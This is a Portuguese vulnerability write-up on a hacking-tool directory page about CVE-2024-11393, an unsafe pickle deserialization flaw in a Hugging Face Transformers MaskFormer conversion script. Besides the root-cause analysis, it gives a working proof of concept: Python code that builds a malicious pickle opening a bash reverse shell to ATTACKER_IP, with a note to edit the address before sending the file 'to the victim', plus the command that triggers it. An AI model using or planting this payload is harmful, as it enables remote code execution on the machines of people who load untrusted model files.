Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-11393 — Detalhes Técnicos e Exploração para CVE-2024-11393 | Kitploit
Ferramentas/GitHubGitHub/piyush-bhor/cve-2024-11393
Análise de VulnerabilidadesAnálise de CódigoExploraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsExploração de Binários
GitHubpiyush-bhor/cve-2024-11393

CVE-2024-11393

Detalhes Técnicos e Exploração para CVE-2024-11393

Ver Repositório
4110há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-11393

Vulnerabilidade de Execução Remota de Código por Desserialização de Dados Não Confiáveis no Modelo MaskFormer do Hugging Face Transformers

Visão geral de alto nível e efeitos da vulnerabilidade:
A vulnerabilidade permite que um atacante execute código arbitrário na máquina anfitriã ao fornecer um ficheiro de checkpoint maskformer resnet malicioso para o script convert_maskformer_swin_to_pytorch.py no repositório Hugging Face Transformers.
Se um utilizador desprevenido usar um ficheiro de checkpoint maskformer resnet de terceiros, executar o script convert_maskformer_swin_to_pytorch.py levará à execução remota de código (RCE) no sistema da vítima.

O Produto Vulnerável

  • Produto: Hugging Face Transformers
  • Módulo: Maskformer
  • Ficheiro: transformers/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py
  • Versão: Última
  • Link Permalink no GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240

Análise da Causa Raiz

  • Descrição detalhada da vulnerabilidade: A vulnerabilidade resulta da desserialização insegura de dados não confiáveis. O script usa pickle.load para carregar o ficheiro de checkpoint e é vulnerável à execução de código.

  • Fluxo de código desde a entrada até a condição vulnerável:

  1. O utilizador descarrega um modelo maskformer de terceiros.
  2. O utilizador executa o script convert_maskformer_swin_to_pytorch.py e passa o ficheiro de checkpoint para ele.
  3. O script convert_maskformer_swin_to_pytorch.py desserializa o ficheiro de checkpoint e executa o código malicioso.
  • Ponto de injeção: A vulnerabilidade ocorre no ponto onde pickle.load é chamado.
    Link Permalink no GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240

  • Correções sugeridas: Substituir pickle.load por yaml.safe_load(yaml_file) ou json.load para prevenir a execução de código arbitrário.

  • Instruções para executar a prova de conceito:

  1. Criar um ficheiro pickle malicioso malicious.pkl que criará uma shell reversa no sistema da vítima:
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Ficheiro pickle malicioso criado com sucesso.")

Nota: Altere o ATTACKER_IP e o ATTACKER_PORT antes de enviar o ficheiro para a vítima.

  1. Executar o script convert_maskformer_swin_to_pytorch.py e passar o ficheiro malicious.pkl para --checkpoint_path:
> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub 

Nota: O pytorch_dump_folder_path pode ser definido como qualquer diretório, e o model_name pode ser qualquer modelo.

Link para download do software:
https://github.com/huggingface/transformers/tree/main

Baixar ferramenta